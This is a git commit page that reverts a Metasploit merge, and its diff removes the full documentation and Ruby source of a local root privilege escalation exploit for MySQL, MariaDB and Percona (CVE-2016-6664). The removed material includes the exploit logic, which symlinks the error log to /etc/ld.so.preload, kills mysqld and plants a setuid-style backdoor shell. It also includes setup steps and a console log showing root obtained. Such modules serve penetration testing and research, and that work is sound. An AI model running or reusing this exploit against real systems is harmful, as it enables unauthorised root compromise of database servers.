Revert "Land #7605, Mysql privilege escalation, CVE-2016-6664" - premature merge
This reverts commitbug/bundler_fix92a1c1ece4
, reversing changes made to9b16cdf602
.
parent
92a1c1ece4
commit
ff2b8dcf99
Binary file not shown.
|
@ -1,127 +0,0 @@
|
|||
|
||||
## Notes
|
||||
|
||||
This exploit was tested on ubuntu 14 and 16. As it relies on log file location and service restarting, success on other linux distributions depends greatly.
|
||||
|
||||
## Creating A Testing Environment
|
||||
|
||||
There are a few requirements for this module to work:
|
||||
|
||||
1. mysql must be started by running mysql_safe
|
||||
2. the error log must be active
|
||||
3. mysql logging through syslog must not enabled
|
||||
4. mysql automatic restart must be enabled
|
||||
|
||||
Using Ubuntu 16.04:
|
||||
|
||||
1. install mariadb - `apt-get -y install mariadb-server`
|
||||
2. disable syslog - `sed -i -e "s/syslog/#syslog/g" /etc/mysql/mariadb.conf.d/50-mysqld_safe.cnf`
|
||||
3. enable error log - `sed -i -e "s/skip_log_error/#skip_log_error/g" /etc/mysql/mariadb.conf.d/50-mysqld_safe.cnf`
|
||||
4. enable service - `systemctl enable mysql.service`
|
||||
5. start service - `systemctl start mysql.service`
|
||||
|
||||
This module has been tested against the following versions of mysql running on Ubuntu 16.04:
|
||||
|
||||
1. MariaDB 10.0.27
|
||||
|
||||
On Ubuntu 14.04:
|
||||
|
||||
1. MySQL 5.5.35
|
||||
2. MariaDB 5.5.52
|
||||
|
||||
On Debian 8.6
|
||||
|
||||
1. MySQL 5.5.53
|
||||
|
||||
This module was not tested against, but may work against:
|
||||
|
||||
* MySQL
|
||||
<= 5.5.51
|
||||
<= 5.6.32
|
||||
<= 5.7.14
|
||||
|
||||
* MariaDB
|
||||
<= 5.5.50
|
||||
|
||||
* Percona Server
|
||||
< 5.5.51-38.2
|
||||
< 5.6.32-78-1
|
||||
< 5.7.14-8
|
||||
|
||||
* Percona XtraDB Cluster
|
||||
< 5.6.32-25.17
|
||||
< 5.7.14-26.17
|
||||
< 5.5.41-37.0
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
4. Do: `use exploit/linux/local/mysql_priv_esc`
|
||||
5. Do: `set session #`
|
||||
6. Do: `set verbose true`
|
||||
7. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A folder we can write files to. Defaults to /tmp
|
||||
|
||||
**ErrorLog**
|
||||
|
||||
The mysql service error log file. The location of this file is set on the configuration files. Defaults to /var/log/mysql/error.log
|
||||
|
||||
**BackdoorShell**
|
||||
|
||||
The shell that will be launched using elevated privileges. Defaults to /bin/bash
|
||||
|
||||
**COMPILE**
|
||||
|
||||
If we should live compile on the system, or drop pre-created binaries. `Auto` will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 (with Linux 4.4.0-21-generic)
|
||||
### MariaDB 10.0.27 (MariaDB-0ubuntu0.16.04.1)
|
||||
|
||||
#### Initial Access
|
||||
|
||||
Use whatever means to get a session back to metaploit ith the mysql account, usually dropping a webshell, connecting back to metaploit and escalate to mysql.
|
||||
|
||||
#### Escalate to root
|
||||
|
||||
msf exploit(mysql_priv_esc) >
|
||||
[*] Sending stage (36 bytes) to 192.168.205.64
|
||||
[*] Command shell session 45 opened (192.168.205.52:443 -> 192.168.205.64:51400) at 2016-11-16 21:44:16 +0000
|
||||
|
||||
msf exploit(mysql_priv_esc) > set session 45
|
||||
session => 45
|
||||
msf exploit(mysql_priv_esc) > run
|
||||
|
||||
[+] mysqld_safe is running
|
||||
[+] The current user is mysql
|
||||
[*] Checking if gcc are installed
|
||||
[*] Checking if gcc are installed
|
||||
[*] Dropping pre-compiled exploit on system
|
||||
[*] Writing privesclib to /tmp/fYAMgzW5.so
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 8240 bytes in 1 chunks of 19877 bytes (octal-encoded), using printf
|
||||
[*] Seting up the preload trap
|
||||
[*] cp /bin/bash /tmp/mysqlrootsh
|
||||
[*] touch -f /var/log/mysql/error.log; mv /var/log/mysql/error.log /var/log/mysql/error.log.tmp && ln -s /etc/ld.so.preload /var/log/mysql/error.log
|
||||
[*] kill $(pgrep mysqld)
|
||||
[*] /bin//sh: 27: kill: Operation not permitted
|
||||
|
||||
[*] Waiting for mysqld to restart...
|
||||
[*] Executing escalation.
|
||||
[*] echo /tmp/fYAMgzW5.so > /etc/ld.so.preload
|
||||
[*] chmod 755 /etc/ld.so.preload
|
||||
[*] /usr/bin/sudo 2>/dev/null >/dev/null
|
||||
[*] /tmp/mysqlrootsh -p -c "rm -f /etc/ld.so.preload; rm -f /tmp/fYAMgzW5.so"
|
||||
[*] /tmp/mysqlrootsh -p
|
||||
[*] Cleanup done.
|
||||
[!] This exploit may require manual cleanup of '/tmp/mysqlrootsh' on the target
|
||||
msf exploit(mysql_priv_esc) > sessions -i 45 -c "id"
|
||||
[*] Running 'id' on shell session 45 (192.168.205.64)
|
||||
uid=112(mysql) gid=121(mysql) euid=0(root) groups=121(mysql)
|
|
@ -1,216 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MySQL / MariaDB / Percona - Root Privilege Escalation',
|
||||
'Description' => %q{
|
||||
MySQL-based databases including MySQL, MariaDB and Percona are affected
|
||||
by a privilege escalation vulnerability which can let attackers who have
|
||||
gained access to mysql system user to further escalate their privileges
|
||||
to root user allowing them to fully compromise the system.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'x2020 <x2020@gmail.com>', # Module
|
||||
'Dawid Golunski' # Discovery
|
||||
],
|
||||
'DisclosureDate' => 'Nov 01 2016',
|
||||
'Platform' => [ 'linux'],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '40679'],
|
||||
[ 'CVE', '2016-6664'],
|
||||
[ 'URL', 'https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html']
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('ErrorLog', [ true, 'The error log file', '/var/log/mysql/error.log' ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptString.new('BackdoorShell', [ true, 'The shell path', '/bin/bash' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
def check_reqs?()
|
||||
# should have mysqld_safe running
|
||||
check_command = "if pgrep mysqld; "
|
||||
check_command << "then echo OK; "
|
||||
check_command << "fi"
|
||||
output = cmd_exec(check_command).gsub("\r", '')
|
||||
vprint_status output
|
||||
if output['OK'] == 'OK'
|
||||
vprint_good "mysqld_safe is running"
|
||||
return true
|
||||
end
|
||||
print_error "mysqld process not running"
|
||||
false
|
||||
end
|
||||
|
||||
def mysql_user?()
|
||||
# test for mysql user
|
||||
mysql = cmd_exec("id | grep -E '(mysql)'")
|
||||
if not mysql.include?("mysql")
|
||||
print_error "The current session user (#{mysql}) is not mysql"
|
||||
return false
|
||||
end
|
||||
vprint_good "The current user is mysql"
|
||||
true
|
||||
end
|
||||
|
||||
def preload_exists?()
|
||||
if exists?("/etc/ld.so.preload")
|
||||
print_error "Found ld.so.preload. Exiting for safety."
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def sudo_exists?()
|
||||
@sudo = cmd_exec('which sudo')
|
||||
if @sudo.include?("sudo")
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
if check_reqs? and mysql_user? and sudo_exists?
|
||||
if preload_exists?
|
||||
return CheckCode::Detected
|
||||
end
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
# first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
|
||||
def has_prereqs?()
|
||||
vprint_status('Checking if gcc is installed')
|
||||
if target.name == "Ubuntu"
|
||||
gcc = cmd_exec('which gcc')
|
||||
if gcc.include?('gcc')
|
||||
vprint_good('gcc is installed')
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
end
|
||||
return gcc.include?('gcc')
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
compile = has_prereqs?
|
||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||
if has_prereqs?()
|
||||
compile = true
|
||||
vprint_status('Live compiling exploit on system')
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system')
|
||||
end
|
||||
end
|
||||
|
||||
# build file names and locations
|
||||
privesclib_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".so"
|
||||
privescsrc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".c"
|
||||
pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
|
||||
payload_path = datastore["WritableDir"] + "/" + rand_text_alpha(8)
|
||||
backdoorsh = datastore["BackdoorShell"]
|
||||
backdoorpath = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
|
||||
error_log_file = datastore["ErrorLog"]
|
||||
|
||||
# setup the files
|
||||
rm_f pwn_file
|
||||
if compile
|
||||
vprint_status "Writing pwn source to #{privescsrc_file}"
|
||||
rm_f privescsrc_file
|
||||
write_file(privescsrc_file, privesclib_file)
|
||||
cmd_exec("gcc -Wall -fPIC -shared -o #{privesclib_file} #{privescsrc_file} -ldl")
|
||||
register_file_for_cleanup(privescsrc_file)
|
||||
else
|
||||
# privesclib.so file
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-6664', '2016-6664.out')
|
||||
fd = ::File.open( path, "rb")
|
||||
privesclib = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
vprint_status "Writing privesclib to #{privesclib_file}"
|
||||
backdoorpath = "/tmp/mysqlrootsh" # hardcoded into privesclib.so
|
||||
write_file(privesclib_file, privesclib)
|
||||
end
|
||||
register_file_for_cleanup(backdoorpath)
|
||||
register_file_for_cleanup(privesclib_file)
|
||||
|
||||
# the actual pwning
|
||||
def do_pwn(privesclib_file, suidbin, backdoorpath, payload_path)
|
||||
print_status "Executing escalation."
|
||||
do_cmd_exec("echo #{privesclib_file} > /etc/ld.so.preload")
|
||||
do_cmd_exec("chmod 755 /etc/ld.so.preload")
|
||||
do_cmd_exec("#{suidbin} 2>/dev/null >/dev/null")
|
||||
do_cmd_exec("#{backdoorpath} -p -c \"rm -f /etc/ld.so.preload; rm -f #{privesclib_file}\"")
|
||||
do_cmd_exec("#{backdoorpath} -p")
|
||||
end
|
||||
|
||||
# reset system state
|
||||
def do_cleanup(error_log_file)
|
||||
cmd_exec("rm -f #{error_log_file}")
|
||||
cmd_exec("mv -f #{error_log_file}.tmp #{error_log_file}")
|
||||
cmd_exec("if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload; fi")
|
||||
vprint_status "Cleanup done."
|
||||
end
|
||||
|
||||
# util cmd_exec with verbose print
|
||||
def do_cmd_exec(cmd)
|
||||
vprint_status cmd
|
||||
r = cmd_exec(cmd)
|
||||
if r != ""
|
||||
print_status r
|
||||
end
|
||||
end
|
||||
|
||||
# initial setup for pwning
|
||||
vprint_status "Seting up the preload trap"
|
||||
do_cmd_exec("cp #{backdoorsh} #{backdoorpath}")
|
||||
do_cmd_exec("touch -f #{error_log_file}; mv #{error_log_file} #{error_log_file}.tmp && ln -s /etc/ld.so.preload #{error_log_file}")
|
||||
do_cmd_exec("kill $(pgrep mysqld)")
|
||||
|
||||
# wait for restart
|
||||
print_status "Waiting for mysqld to restart..."
|
||||
cmd_exec("while :; do { sleep 0.1; if [ -f /etc/ld.so.preload ]; then { echo #{privesclib_file} > /etc/ld.so.preload; rm -f #{error_log_file}; break; } fi } done", nil, 125)
|
||||
|
||||
# pwn the system
|
||||
do_pwn(privesclib_file, @sudo, backdoorpath, payload_path)
|
||||
|
||||
# cleanup the mess
|
||||
do_cleanup(error_log_file)
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue